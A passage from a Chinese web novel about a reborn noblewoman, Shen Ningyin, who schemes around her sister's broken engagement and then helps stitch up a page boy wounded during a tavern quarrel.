染竹用力闭了闭眼：“她们不做，不代表没这个能耐！你再想想，这么久了，少夫人可曾同沈夫人提过一次讨要咱们的身契？”
151. 惨景
兰香沉默了，她烧着水，几分钟后，蓦然抬头定定看着染竹：“染竹，无论如何，我都相信少夫人。她总有她的理由，也有她的法子。”
四目相对，染竹看了兰香良久，脸色一时沉了下来，半晌，染竹别开了头，复杂地喃喃了一声：“傻子。”
兰香不再言语，兀自做她的事儿去了。
染竹等她走了才猛然一惊，生怕她去告状。
但好在染竹踏入房间之际，并没有人说话，沈宁音在桌旁翻看着账目，连头也没抬。
染竹不明情况，心中分外忐忑地等着。
人总是如此：当你切实地得着惩罚了，哪怕这惩罚很严重，当来临之际也会有解脱的感觉。最煎熬的，反而是等待惩罚的这个过程。
沈宁音足足吊了她两个时辰，才从账目里抬头：“染竹。”
听见她唤，染竹手指一颤，胸膛里的心脏疯狂鼓动，本能地瞠大了眼睛，她暗自吸了口气，举步上前：“奴婢在。”
她心下有种怨恨的种子悄然萌芽，牙齿咬着唇，唇瓣失了血色，显得苍白。
沈宁音看着她的表情眼眸从惊诧到了然，她手指轻叩了两下桌面，方才温柔地启唇：“我这儿有样东西，你跑一趟，送给冷四郎君。”
话罢，一个是方形的红漆雕花木盒子就经由兰香手里头送了过去。
染竹拿着盒子，也不知想到了什么，眼睛里露出微不可查的欣喜来。
沈宁音佯作不知，也没戳破，只略叮嘱了两句就挥了挥手：“去吧。”
兰香看着染竹的背影，眼圈有点红。
沈宁音目光从她脸上扫过，似乎瞧见了前世自己的半分影子。
沈宁音合身靠在软榻上继续看账册。前世她就是掌家理事的一把好手，寻常账册一目十行，也不似刚接触此道的新妇那般艰涩。
她此刻分外慵懒放松，连声音也染了几分漫不经心：“各人自有各人的福分缘法，多余的帮衬只会惹来孽恨。”
兰香蓦地看向沈宁音羊脂玉般姣好的芙蓉面，一时说不出话来，只唤了声：“少夫人……”
沈宁音姿态未变，只是眼眸顾盼，朝她露出温柔莞尔，略点了点头。
所有的话，便都融在了交错的眸光中。
兰香心下有羞愧，也有感激，她明白主子没说破，是在顾全她的脸面，更是对她的包容与信任。
沈宁音浅笑：“去洗把脸吧，哭成小花猫，叫人看了去可不像个一等大丫鬟。”
兰香胡乱擦了眼泪，笑着应声：“是！”
屋子中一时只余下沈宁音一人，她抬眸看向步步锦牖窗外，深秋的风景总是萧瑟落拓，然而银杏落地，却铺陈出一地明媚的金黄。
她唇瓣微弯：“可别叫我失望啊。”
客栈前，一个身形高大的壮汉将一个包袱扔到了地上。随着包袱落地，包袱皮子松开，几件单薄的衣裳撒了满地。
两个汉子一人抓着一个拼命挣扎的人从客栈扔了出去。
“你们！你们简直放肆！”冷元景铁青着脸要骂人，却在瞥见周遭围观众人探究耻笑的目光中败下阵来，他惨白着唇色试图拿袖子遮住眼。
天下百姓都一个样儿，但凡没有危险，总是最爱看热闹的，更何况还是个穿着体面的玉面公子哥儿羞耻地给人从客栈撵出来。
“长得真俊啊？不会是哪位夫人的小白脸吧？”
“我看像啊。”
书童难堪地护着主子，鼓起勇气大喝：“你们胡说什么！？”又怒瞪着门口的客栈掌柜：“还有你！不就是拖欠了两天住宿钱又赊了几个馒头么？值当你这么侮辱人？！你知道我家郎君的妻妹是谁么？她可是……”
书童还没说完，冷元景脸色一白，甚至顾不上遮掩自个儿的脸，狠狠捂着书童的嘴巴：“你住嘴！”
书童很不解，四郎君遭遇退婚，身无分文，走投无路都这样了，竟然还要顾那位秦家少夫人在外的名声。
“主子，那位沈二娘也不是什么好人！”书童红着眼咬牙道。
冷元景脸色更难看，狠狠瞪着他：“你再说？”
“本来就是！”书童道：“侍郎府拦着！她就不知道出来么？她能给你二十两银子，怎么现在一分一厘都不肯出了？”
冷元景抿着唇：“她是出嫁女，岂能私见外男？”
书童越说越激动：“还有那秦世子，这次闭门谢客，咱们求助上门，他愣是见都没见！”
冷元景眼里闪过一抹失落，旋即那失落化作了心疼，他攥紧拳头：“那说明她在侯府也处境艰难。”
书童觉得他简直不可理喻，刚要再劝，眼尖地看见冷元景身后的客栈门前伙计端来了一盆热水，兜头就朝着冷元景泼了过来。
书童没来得及去想，本能的一把抓着冷元景那手臂，一旋身，滚烫的水统统浇在了书童的背上。
十四五岁的书童惨叫了一声。冷元景瞪大了眼睛，伸手扶住了他：“元宝！元宝！”
掌柜的轻蔑地冷笑：“这上京城贵人们多了去了，别以为随便冒充一个就可以白吃白喝！”
“你！”冷元景眼珠子尽是血丝要冲上去拼命。书童疼得要死却也没忘了使劲抱着他：“四郎君！四郎君！莫冲动！”
掌柜往地上唾了一口：“破落户！充什么贵亲雅眷？有那功夫琢磨着吃霸王食，不如洗干净卖去给夫人们解闷儿！”
冷元景气得咬牙切齿，现如今的境况下，却也不敢多说一个字，如今沈家绝情，侯府闭门，冷家虽有来上京置业的打算，却也还没当真办到，几个兄长虽都有中举，可会试哪有那么容易出头的？个顶个都在地方上做些小官。
冷元景四顾周遭，已然是举目无亲，他多想有人过来拯救自己于水火。
可眼下他也只能忍下愤怒与羞耻，搀扶着烫伤严重的书童。
两人蹲下身，整理包袱里的东西。衣服溅上了水，这会儿已经凉了，摸上去迎风就冰手，冷元景也顾不得，他收
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拾得飞快，只想快点逃离这个丢脸的现场。
只是当他摸向自己的衣裳的暗袋时候，他蓦地站起来，盯着门口的掌柜，咬牙切齿质问：“我的玉牌呢？！”
“玉牌？”掌柜的哂笑：“你是说那个镶金的？自然拿来抵债了。”掌柜的冷下了面色：“不然你以为你们能轻易地从这儿出去？”
“混账！”冷元景气得脸孔都要扭曲起来：“两晚的住宿加上几个白面馒头，能值几个铜钱！？”
掌柜哼了一声，周遭那起子壮汉立马撸袖子作势要上。
冷元景是怕的，但怕归怕，那个东西实在贵重，他脸色不停变幻，却半点挪不动步子。
书童提着还在滴水的包袱一瘸一拐得走上前：“四郎君，留得青山在不愁没柴烧！咱们先走吧。”
“不行！”冷元景格开书童的手：“那东西不行！”
“那是信物！”冷元景咬咬牙：“你留着没好处！”
掌柜的冷嗤：“你以为小老儿是给吓大的？”
掌柜的铁了心不给，冷元景又不走，书童急得直打转。
这时，人群外传来一声轻呼，所有人的目光都打望了过去。
人群分开，一个容貌不错的姑娘挤了进来，能在上京城开店这么久的掌柜，多少有点儿眼力见，他一眼就看出这人气质不俗。
女娘周身打扮光纤靓丽，戴的头面虽然少，但仅有的几件也不是便宜货色。
染竹焦急又心疼地迎上去单手扶住了冷元景：“冷郎君，你没事吧？”
此时此刻，自觉已到绝处的冷元景看见染竹，几乎要眼酸落泪，他恨不能抱紧丫鬟背后的那抹窈窕，口中呢喃：“她果然放不下我。”
染竹离得近，听得一清二楚，听了这话，只以为他念叨的是另嫁他人的沈弦思，染竹的心疼与爱慕瞬间换做了百结的愁肠，连看向冷元景的目光都变得幽怨起来。
“都什么时候了，郎君还在想着她？”
对于那玉牌，掌柜原是不在意的，可将才看冷元景脸色认真，不似做假，此刻又瞧见染竹过来，似要给人撑腰，掌柜也变了脸色，转头冲身后人嘀咕了几句，这才上前拱手作揖。
掌柜堆着一面笑模样：“不知姑娘是哪个府上的？”
将才冷元景只来得及交代了两句有关那玉牌要紧的事儿，染竹此刻听着掌柜见问，当下只肃着一张小脸、颤了颤红唇道：“我，我是昌平侯府的人！”
上京城皆知，昌平侯府只有一位小侯爷，也就是那位世子秦耀阳。染竹又并未开脸做妇人发髻，她一出口，掌柜的便知她不会是府中的夫人姑娘，一多半是个丫鬟。
染竹察言观色，便知自个儿再是什么大丫鬟，恐怕也镇不住对方，更别提帮冷元景拿回玉牌了。
染竹转头，看见冷元景希冀的眼神，乱发皱服，叫她怎么也拒绝不得。
染竹一咬牙：“我家夫人可是昌平侯府少夫人，那玉牌你们敢私吞试试？！跟我去见官！”
152. 是她
掌柜的终于是松了口，几乎在下一瞬，客栈是里头跑出来个伙计，将一个布包扔了过去。
染竹动作灵活，将东西接了递给冷元景。
原以为这事儿就这么了了，可冷元景入手一捏，脸色大变，他连忙抽开绳子查看，就瞧见掌心里头只有孤零零的玉块。
掌柜见他看过来，不屑嗤笑：“看什么看，也就那点儿金子之值些钱，刮一刮，就当你俩的欠债了。”
“你！”冷元景手背上青筋绽出，染竹和书童连忙死死拉住他。
掌柜领着人进门去。
上京这样的好天气，秋日的阳光洒在身上是暖的，冷元景只觉着冷，身子直哆嗦。
染竹看着他这般，眼圈都红了：“冷四郎君。”
冷元景低头看着掌心里被刮走了金子的玉牌，手指缓缓收紧，他整个人笼罩着一层阴郁。
突然，他抓着染竹的肩膀，用染满血丝的眼睛定定看她：“有金子么？有么？！”
染竹被他抓着，心里是有些小雀跃的，可听见他管自己要银子，染竹就为难起来。
看着她躲闪开去的眼神，冷元景薄唇紧抿着，略略松开手。染竹最是不忍见他如此，忙道：“金子没有的，但我这对翡翠耳环你先拿去当些银钱。”
冷元景彻底松开了手，本就烦躁的心中更添不耐，一对耳环能典几个钱？太少了，他瞧不上，但嘴里客气道：“不用，染竹姑娘留着，莫要叫你家少夫人担忧。”
虽然冷元景说话时根本没在看着她，但染竹心中却是感动不已，侯府规矩多，大丫鬟的头面锦衣都有规制，若头面劣了，会被下边儿人瞧不起。
沈宁音出嫁之前手头并不宽裕，小姐都受尽了磋磨，更遑论染竹和兰香这些做丫鬟的。
染竹手里头值钱的头面，也就是这一个多月跟去侯府之后沈宁音赏的。
染竹只觉眼前郎君万般温柔，便是为了此人去死，她也甘愿。
染竹深情看向冷元景：“你就拿着吧，就算短了什么东西，少夫人会赏赐的。”
冷元景懒怠听她说话，但听染竹提及沈宁音时，连忙转过头来，眸中带着关切，张了张嘴，似有犹豫，最后也只是低声问：“你家少夫人……今日派你来作甚？”
染竹猛然想起来，抬手把木盒给了冷元景：“这个，是少夫人给你的。”
冷元景拿到就掀开了盒子，只看了一眼便慌忙阖上了。
染竹有些忐忑：“怎么了？”
“没什么。”冷元景语调镇定了许多，转眸朝染竹告辞：“替小生多谢你家夫人。”
说完这句，他便一手托着木盒，另一只手拉着书童快步离去。
染竹想追，对方却走得很快，况且，冷元景明显不想与她多聊，染竹也找不到借口再跟。
那盒子，染竹粗略翻看过，里面只有一封信一件女子首饰和些许碎银子。信上也没什么内容，大抵是些为国为民的话罢了。
不过，染竹一想到方才冷元景的话语，她就忍不住脸红，染竹觉着，冷四郎大约也是对自己有意的。
而另一头，冷四郎拉着书童直走进一家诗文茶肆。书童甫一看见那烫金匾额就知道定然很贵。
冷元景又进这等要使银子的地方，书童就觉后背烫伤又隐隐作痛了。
“主子……真的要喝茶？”书童苦着脸拉他，不肯走，嘴唇要抿不抿的纠结模样：“咱们可没那么多钱。”他们连饭钱都不足了。
“没事的。”冷四郎用力拖着他上二楼雅间。
书童被拽着，踉踉跄跄的跟，只能露出个视死如归的表情。
等进了屋子，点了茶，冷元景才把木盒子打开了来，书童一眼就看见里头有些碎银。当下也松了口气。
至少这次不会挨打了。但书童旋即又白了脸色，连忙站起身：“主子，咱们朝姑苏去的信一来一回还要好些天，这银子不多，咱们得省着点花啊！”
书童一想到要露宿街头，眼神惊怖地站起来：“趁着茶还没上！”他拉着冷元景的袖子哀求道：“要不然咱们走吧！”
冷元景正看信，闻言也没说话，只将那盒子底部的锦缎内衬剖开，露出里头好几张银票。
书童震惊得无以复加。
冷元景阖上木盒，深吸了口气目光就落在了那枚首饰上。
书童循着他的目光瞧去，低呼道：“这不是弦思姑娘的簪子么？奴才以前好像见过……”
沈弦思过年会去姑苏小住几日，去岁就是。
当时她好不威风，叫冷家几个嫂嫂都眼红不已。
“她？”冷元景冷声道：“怎么可能？”冷元景将簪子扔回木盒：“若当真是她良心发现，又岂会叫姐姐的丫鬟送来？”
目光触及那一页娟秀的字迹，神色都温柔起来：“宁音，你放心，冷某必定用心向学。绝不辜负。”
他此刻只恨命运弄人，心里只存着一个念头——要是当初嫁给自己的是沈宁音就好了。
叹着气，他愈发厌恨沈弦思的无情。
有了银子，冷元景便立马去寻金匠修复玉牌不提。
就这般过了两日，秦耀阳那边始终没有消息，沈宁音一开始也忧心，但，久而久之，也就释然了。
沈宁音起身梳洗，然后就是悠闲地斜倚在软榻上，一面过目账本，一面分心听兰香说起外头之事。
诸如哪个老伯爵又纳了一房小妾，谁家添了新丁。
林林总总，没什么关联的，听得她直想瞌睡。
直到听着些相关感兴趣的，诸如卞六郎已经安顿下来了，今日侯府几个哥儿都已经开始进学上课。
兰香滔滔不绝，继续讲：“对了，听说思姑娘出嫁的日子也抵定了。”
沈宁音索性阖上了账册，抬眸，浅笑玩味：“和谁？几时嫁？”
“就在三日后，嫁去礼部朱侍郎家。”兰香怕她没印象，忙补充了句：“是排行第七那位嫡郎君。”
沈宁音笑了声，也没说话。
兰香便自言自语皱眉喃喃：“这日子也太急了，朱家这样把娶妻作纳妾般打发，老爷夫人竟还应允了……没得带累了少夫人的名声。”
沈宁音坐起身抿了口茶：“怎么会？我可是为了府里的名声以身劝谏，很吃了一顿打。”旁人若听了去，两相对比之下，只会愈发凸显她沈宁音守规矩，是个贤惠的。
她们越作得狠，沈宁音就越有借口断亲。主动权只有捏在自
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己手里，才会叫人安心。
平静的日子一晃又过去两日，沈定山拉不下脸来看沈宁音，打发了个婆子来送东西。东西都不是什么好玩意儿，正和从前没出嫁时，沈夫人赏下来的那种类似。
可从前的她，沈定山不闻不问，这个养父哪里能知道，那时的沈宁音，就算不给这样的赏赐、就算再廉价的东西，也定能换来她最暖最宝贵的感激。
但，那样的沈宁音已经死了。
早就死了。
沈宁音把几样银饰丢回了托盘，语气虽客气，却是连人带东西给命人请出了毓秀阁。前后连半盏茶的时间都不及。
“少夫人，动了动了！”一个丫鬟气喘吁吁地跑进来禀告。
沈宁音认出了这个丫鬟，是府里的奴婢，以前跟兰香要好，是一起给卖进来侍郎府做奴婢的。两日之前沈宁音就曾以重赏嘱咐她看着沈弦思那边儿。
丫鬟将情况说了一通，大约就是沈弦思房里走出来一个遮着脸的陌生婢子，朝着角门去了。
沈宁音抬头看了眼天色，正是下午时分，沈府的仆从是有定例的，奴婢们又是长期住在一处，沈弦思身边的丫鬟又岂会被形容成“陌生”？
只有一个可能——
沈宁音笑容盈盈，亲手拿了二十两银递过去。
丫鬟眉开眼笑，沈宁音注视着那丫鬟，看得丫鬟有些害怕，她将银锭收好，局促不安地告辞：“二少夫人，没什么事的话，奴婢就先回去了。”
“慢着。”沈宁音突然开口，将那小丫鬟吓了一跳，顿时噗通一声跪了下来，掏出银子：“二少夫人，奴婢错了，奴婢不该收您的银子，求您开恩！”
沈宁音抿唇微笑：“你不必害怕，此事还没要紧到需要灭口的地步。”她莲步轻移，站到了丫鬟身旁，居高临下：“本夫人是想救你性命。”
丫鬟心下震惊，抬头时，眸底露出迷茫。
“纸包不住火，你莫说与本夫人有了牵扯，即便你牵扯上兰香，将来不知何时也可能把火烧上你身。”
沈宁音话一说罢，兰香与丫鬟都着急起来。兰香最急，要是她把人推入火坑，且不讲良心不良心的事情，往后再想叫人办事，可就难了。
“少夫人……”兰香犹豫着想求情、又有些不敢。
沈宁音微微一笑，伸手扶起了地上跪着的丫鬟：“莫怕，你且先回去歇着，等时机成熟，本夫人讨身契的时候，将你一并讨了来就是。”
丫鬟眼眸亮了一瞬，但当她冷静后，满脸的担心又系数浮现。
沈宁音也知，光靠着画大饼是绝不可能叫一个丫鬟供她驱策的。可她不在乎。
丫鬟不肯，那么她沈宁音只是失去一颗棋子，丫鬟失去的，说不定是一条命。
丫鬟眼下并没有其他选择。
咬了咬牙，丫鬟低了头：“奴婢懂，奴婢会继续帮少夫人注意侍郎府的情况！只求少夫人勿要忘了奴婢才是。”
沈宁音露出个满意的笑，安抚了她几句就命人送她离去。
沈宁音进里屋换了身衣裳，领着兰香施施然离开了侍郎府。
难得她等了这几日，明日沈弦思就要出嫁了，她倒要看看冷元景要如何挽回他的小青梅……
153. 廷正
夜色染着薄凉，万盏华灯明艳而葳蕤地串联起上京城的大街小巷。
“就在前面。”跟踪的丫鬟指了指前方的酒肆，沈宁音略略打量，点了下头。兰香麻利地将赏银送上。
沈宁音提着裙摆走过去，她戴着靛蓝色帷帽，穿的是襦裙和素色薄袄。但即便如此，依旧惹来窗旁酒客的侧目。
这地方并非繁华坊街，往来极少有富贵的，兰香长得清秀，着实太扎眼，沈宁音回眸看了兰香一眼，朝她挥了挥手：“我自己进去即可，你领人在旁边儿茶楼候着。”
“是。”兰香听话地带着家丁退下。
小二原有些瞌睡的，听着敲桌子的声音，眼睛微睁开丝缝，他刚想不耐地摆个脸色，冷不丁看见沈宁音推过来的银锭。
“要一处雅间。这些都是打赏。”
“没问题！”小二眼睛一亮，连忙去拿银子：“包您满意！”
沈宁音将银子往后收了收，带笑的声音从面纱后逸出：“那雅间须得在前不久进来的那位女客隔壁。”
在沈宁音进来之前，也就只有沈弦思打扮的那个丫鬟。小二当场心领神会，小声道：“夫人……是要捉奸？”
沈宁音笑了笑，没说话。小二便当她默认了。犹豫了一下，小二还是依依不舍地把银钱往回推了推：“这位夫人，非是小人不肯行方便，实在是那房间在拐角，相邻的也就一间房，那房有人……”
闻言，沈宁音也不放弃，笑着道：“烦请你带我去，我来交涉。”
小二能赚银钱自是愿意的。
酒肆并不出色，墙壁地板都有些旧了，沈宁音踩在上头也能听见咯吱咯吱的细微声音，倒数第二盏灯笼处，沈宁音停下脚步。
小二把她带到之后，看在银子的面儿上提醒了一句：“好叫夫人您知晓，这雅间的客人是个书生，脸臭，不好相与。您要是不想在这儿了，就来找小人，小人给您换个好的。”
“多谢。”沈宁音倒是深看了这小二一眼，记下了。觉着倘使将来盘个酒肆什么的，倒是可以命人来这儿挖一挖墙角。
沈宁音的手将将放在门扉上，隔壁就传来争吵声音。她嘴角微弯，推门走进了隔壁。
“明明是你做下了那等事，偏生还来怨我？”沈弦思哭得很难看。
地上已经给砸了一地的杯盘碗盏，醇香的酒气从破碎的酒壶内逸出，弥散在房间各处。冷元景用力闭了闭眼，桌子下的手指攥得泛白。
他没发火，只是眼底含着冷，冷元景是笑着的，虽然有些勉强，但他连起身的动作都儒雅温柔。
走过去牵起沈弦思的手：“弦思，我们青梅竹马那么多年，我会那么做都是因为在乎你、因为爱你，圆房是早晚的事，我不过是提前罢了。”
沈弦思感受着手上他温柔的摩挲，心里有点动摇，可她蓦地想到沈宁音嫁的是侯府，想到那位被她自己放弃的世子爷，沈弦思就觉着不甘心。
她眼前的男人模样好、学问也好、更会疼人。唯独就是出身不好。
沈弦思那样骄傲的人，什么都是要同旁人比的，从前在阮家要做最受宠的女儿，将来嫁人也不能嫁个比旁人差的。
当初死活要嫁给冷元景，除了因为自己着实喜欢他，更因听闻那昌平侯府家的世子爷是个老男人、二十六岁都尚未婚配、说不定要守活寡。
沈弦思权衡之下，这才选了冷元景。
如今，那位朱七郎家世煊赫，几个哥哥都青云直上，朱七郎的模样在贵人里也还算称头。她嫁定了！
“你不必再说了！”沈弦思站起身，背对着冷元景：“我三日后就要出嫁，我只希望元景哥哥能祝福我。”
冷元景看着她，黑眸里仿佛有乌云翻滚：“沈弦思，你是不是与那人有了首尾！？”
沈弦思不料他会如此质问，她转回头盯着冷元景的眸子，心里一阵阵发虚。
别过脸，沈弦思手指攥紧了裙裾，小声道：“没有的事。我心里只有元景哥哥，只是你不懂珍惜，让我丢尽颜面。”
“哼！”冷元景也懒得演了，愤愤地盯着沈弦思的侧脸：“举头三尺有神明！你敢发誓么？发誓你没有跟那男人有过什么？”
“没有！”沈弦思尽力叫自己冷静下来，语气坚决的举起手：“我沈弦思发誓……”
她有些不敢说，犹犹豫豫的。
冷元景抬手就将她的手腕握紧拉到心口，这动作将沈弦思惊得愣住。
“你还是不要发誓了，我怕你报应不爽。”
“你！你什么意思？”沈弦思心里的不安更强烈了，她拼命挣扎，却挣脱不开：“你放开我！”
她从未被冷元景这样不顾她感受地捏着手腕，沈弦思觉着自己的手都要断掉了。
但更让她恐慌的声音出现了，冷元景咬牙切齿地开口道：“你我之事，我已经悉数告知沈伯父！可都出了这等事情，他却仍然将你嫁过去，你告诉我为何？”
“为……为何？”沈弦思咬着牙，半点也不敢放松，只等着他揭晓。
冷元景抬手用力将沈弦思扔回椅子上，沈弦思一声娇呼。
“还给我装什么？！”冷元景指着沈弦思的鼻子，眼睛通红地控诉：“若非你们也做过这等事，否则朱家能娶你？你爹会舍了我？！”
被男人一语道破，沈弦思心里慌了一阵，但很快她便重又振作起来，她揉着被椅子撞疼的地方，站起身：“那又怎样！你我还没拜堂！我便有地选！”
冷元景一早就带着失望的预期来的，可真正从她口中听来，却又似更钝的刀子在心里分割着，刀刀割人心肝。
“我说的不对么？！”沈弦思见他不说话，就油然生了底气，冷笑着讥讽：“跟你定亲的是阮家女！该是她沈宁音！你去娶她呀！”
她不提沈宁音还好，沈弦思提起沈宁音那一刻，原本只是带着失望与冷寒的冷元景，整个人的脸色变得黑沉起来，仿佛要压不住心底的怒气般，冷元景咬着牙：“你以为我不想？！当初要是嫁过来的是你姐姐就好了！”
“你！”沈弦思瞠大了眼睛，脸上气得转
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红，她呼吸急促，冲上去举拳头打冷元景：“你竟敢想着她！她成亲前你们连面都没见过！她定是耐不住寂寞勾引你了！是不是！”
冷元景眼神也很冷，没有还手，更没阻止，讥讽一笑：“你以为她能同你这般不知廉耻！”
一墙之隔，沈宁音下细听着这些话，尤其是“廉耻”二字从冷元景嘴里说出来时，沈宁音只觉好笑。
明明他也是个算计未婚妻，婚前同了房的卑劣之人。果然，物以类聚人以群分……
“嗒”一声清脆的声响。
沈宁音抬眸看过去，是桌子对面的男子将茶盏放回了桌案上。男子虽坐着，但从身形看，也能想象出对方身量不低，眉目清秀，带着书卷气。
男人虽算不上浓俊，气质方面也算拔群。
发现沈宁音在看自己，男人皱了皱眉，颇有些不自在地别开脸。
他的手边除了书卷、茶盏，还有银票。
银票是沈宁音给的。她一进门就看出来，此人的身份必定是提前赶考的举子。
客栈里头人来人往，随时都很热闹，而这种生意冷清的酒肆不同，雅间寻常少人搅扰，打烊时间又迟，拿来秉烛夜读反而是个极好的去处。
世家子弟又或者有一二亲眷在上京的，几乎都不必考虑住处，而能找上这么个破地方来躲清净的，只可能是寒门学子了。
他们缺钱！
而沈宁音目下最不缺的，就是这个。只要是用不伤他们自尊的说法把银子给过去。怎么都不好意思再赶自己了。
沈宁音看他尴尬，笑着打破沉默：“还不知先生叫什么名字？”
男子没看她，目光落在翻开的书页上：“小生姓孟，字廷正。”
孟廷正？沈宁音甫一听见便觉有些耳熟，等她凝眉喃喃出这个名字时，她蓦地瞠目：是他？
沈宁音抬起脸，漂亮的眼睛里带着点审视。
人一旦用上了这等强烈的眸光，对方几乎很难忽视掉你的注视。
孟廷正有些不自在地动了动身子，不得不抬起眼看过去，神色里带着些无奈：“这位夫人，若是没事，小生想用功了。”
“孟先生请便。”沈宁音装没听懂他赶客的心思，抬手从袖子里又掏出一张五两的银票来。
孟廷正更无言了，他叹了一息，低下脑袋，神色纠结。
沈宁音嘴角微弯，毕竟眼前这人可不是旁人，孟廷正就是她起先帮着沈玉珠物色的进士人选。
一介寒门，实力闯入殿试，是万分不易的。最最要紧的是，前世他官声极好，要不是沈宁音帮着冷元景走了恩师孙靖元的后门，最后能凭实力得到拔擢、进京为官平步青云的，可就是这位孟廷正了。
沈宁音是越看越觉着像是看侄女婿。不动声色询问起他家中情况来。
孟廷正一板一眼地回答着。半晌，回过味儿来，蓦地抬头，眼神里有情绪闪过。
他倏地站起身往旁边走了几步，耳廓绯红：“这位夫人，银子你拿回去罢！小生……不是那种人。”
154. 杀人
沈宁音面纱后的神色有一瞬的愣怔，很快明白过来他大约是误会了。她敛衽起身，语气温婉：“妾身不是那个意思。”
她正要解释，冷不丁地突然听见隔壁原本窃窃隐约的声音飚高成惨叫。屋内二人皆是大惊。
沈宁音也顾不得旁的了，连忙起身往门口去。不过半息，外头传来了小二惊慌失措的叫喊：“杀人啦！杀人啦！”
眼瞧着门扉越来越近，沈宁音眼前袍袖一花，孟廷正已然抬手挡在门后：“还请夫人小心。”他凝着眉、神色严肃。
沈宁音很有些意外地看了他一眼。这孟廷正看起来不是个热络性子，但竟然也会拦着她犯险。沈宁音本来也没想要出去，只是打算听一听动静，必要的时候透过门缝瞧瞧。
如今孟廷正既然拦着，沈宁音也就是从善如流地停下脚步。
门外。
小二吓得摔在了地上，冷元景红着眼睛，怀里抱着个血人从雅间里走出来。
他想哭，但哭不出来。原来人难受到了一定程度，是没有眼泪的。
沈弦思早已经跑得没了影，冷元景只觉得天旋地转，心中弥漫着无力感，被小二那么几嗓子一激，他低吼：“喊什么！快去请郎中！我给钱！请最贵的来！去请回春堂的郎中来！！”
书童身上的血止也止不住，眼睛睁着，血腥味浓郁得可怕。他身子已经开始痉挛，颤颤巍巍地伸手，想抓着些什么。
这一刹，冷元景热得干涩发红的眼睛里终于涌出泪来，他用力捏紧了从小陪着他的书童，哑着嗓子喊：“元宝，你坚持住，郎中马上就来！马上来！”
元宝嘴角轻微地动了动，没了血色的唇瓣惨白如轻易就能戳破的纸。
这时候，客人虽少，但周遭已经有些人往这边好奇地打望了。
冷元景无措的跪在地上，他抱着元宝，不知道该做什么，也不知道要如何收场。
他突然觉着自己所图甚大，那么多的野心和筹谋，此刻都显得像个笑话。
后悔，很后悔，他怎么能跟那个不知轻重的女人争执起来呢？若非如此，跑来劝架的元宝就不会被推到地上被花瓶碎片刺穿身子。
冷元景满身是血，哭得像个孩子。以至于他并没有注意到，旁边房间的门已然打开了。
沈宁音慢慢朝他走近，停在了他旁边三寸。
沈宁音神色有几分复杂，她是认得元宝的，前世冷家那么多人都是表面服气，暗地里给她这主母使绊子。
元宝却不一样，他明面上也使绊子。
这是个表里如一的坏人，沈宁音初入冷家时，没少受这人的作怪。
可日子久了，似元宝这样的，沈宁音觉着，却反而纯粹得略显愚蠢可爱。毕竟，元宝做的任何事情，得罪所有人，却独独是对主子冷元景好的。
时不时的，沈宁音还会通过元宝用些手段，对花心冷情的夫君冷元景做些不疼不痒的小惩戒。
如今，元宝这样的小人物，也有了不一样的命运。
沈宁音抿了抿唇，并未思虑太久，麻利地捋高了袖子、弯下腰，抓着了元宝的胳膊。
腥甜的血染满了衣裳，入手温热又滑腻。
冷元景只觉得怀里一轻，整个人终于从浑浑噩噩的状态里头回神，猩红的眼睛一转，本能地要去枪沈宁音手里的血人。
四目相对，女子那双如刀的锋锐眸子深深扎进了他的心里。
冷元景身子一颤，沈宁音铿锵的声音落入他耳中：“搭把力气，抬去房间的桌上！”
冷元景慢了半拍，旁边儿的孟廷正已然施以援手。
“平一点！莫叫那血再泗流了。”沈宁音神色认真地支使着。
也不必沈宁音去求着，孟廷正径直将自个儿的房间让出来了，隔壁太多血，委实不适合做处置。
“宁音！宁音……你可以救他？”冷元景眼神里难得带着哀求。
沈宁音却是心无旁骛连看也没看男人一眼，查看完伤口后，手法娴熟地摁住了旁边儿的几处穴位：“尽人事罢了。”
“要剪刀！针线，统统拿水煮沸！快去。”
“好！好！”冷元景踩着地上滑了一跤，是孟廷正提起衣摆快步往外头跑。
整个过程磕磕绊绊，这还是沈宁音前世极有缝伤止血的经验下。
即便几人几乎尽了全力，也只是在郎中来之前给元宝吊着一口气。
冷元景太起袖子想擦汗，却擦了一脸的血。
没有人笑话他，即便是沈宁音这个前世与他有旧怨的。
终归，冷家那样的地方，嫡子又有什么优待呢？不过是换了一处地方挣扎求存，从小陪着他长大的元宝，是他最亲的人了。
谁又没个最亲的人呢？
沈宁音靠着栏杆，转眸看向门扉，门扉上有几个血印子，是将才留下的。
地上的血已经洒扫干净。郎中正在里头救人。
“多谢。”冷元景攥着拳头，脑袋低垂着，瞧不见表情。但声音又低又沙哑。
沈宁音没说话。
她尽力救人并不为着冷元景的感激。
冷元景也不在意是否能得着回应，只是咬着牙：“我只是叫她同我回姑苏……只是这样。十几年的情分，竟走到如此境地。”
沈宁音默默听着，心中五味杂陈。
正所谓，闻其声，不忍其死，前世几十年的明争暗斗，元宝此人虽恶，却也没做过什么丧良心之事。
但沈宁音知道，若他死了，将来沈弦思嫁去冷家，冷元景这等蛇一般的男人，必会叫她比自己前世惨千百倍。
不多时，前面的门开了。
药童端着血水走出来，郎中紧随其后。
“如何？元宝他如何了？”冷元景跌跌撞撞冲过去握紧了郎中的胳膊。
郎中老迈，被他一双拳掌攥得脸孔扭曲。
沈宁音忙上前解围：“冷四郎君，你松开，你这般捏着，叫郎中如何说话？”
经她一提醒，冷元景终于缓缓松开手，一双招子却是死死钉在老郎中脸上。
郎中心有余悸，往后稍了两三步，这才侧着身子说话：“伤口缝得极好，老夫方能有机会一试，但……”<
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p>沈宁音见冷元景又要上前，连忙招呼孟廷正拉住了，冲老郎中柔声道：“先生但说无妨。”
老郎中看了眼冷元景，最后是冲沈宁音这个看起来“讲道理”的妇人说的：“夫人，是这样，里头的小兄弟明日若能醒过来，将来便有活下去的可能，大约有……”郎中伸出手，五指张开：“五成的把握。”
“才五成！”冷元景失声道。
沈宁音没理会失魂落魄的冷元景，只看着郎中等他继续说。
郎中叹息道：“就算活下来了，也是瘫痪，有没有神智都不清楚。”
回春堂的郎中贵，但也有真本事。连他都不成，换了旁人，也束手无策的。
郎中摇着头，走了。就留下了沈宁音三人。
冷元景先不必说，孟廷正纯属给牵连进来的，沈宁音又拿出十两银子递过去：“多谢郎君仗义。”
这一次，孟廷正将银子推回：“举手之劳。”
沈宁音执意要给，孟廷正也没收。这时，冷元景转身走到他身前，一揖到地：“多谢孟兄。”
孟廷正执礼板正，连忙扶起他来：“冷兄客气了。”
沈宁音站在一旁看着他二人，前世，两人一个南，一个北，一个探花一个进士。世人眼里，都是人中龙凤。
虽最后是冷元景胜了，却也是因为孙靖元的名声，有了清流与世家多番照拂。算得是政界对手。
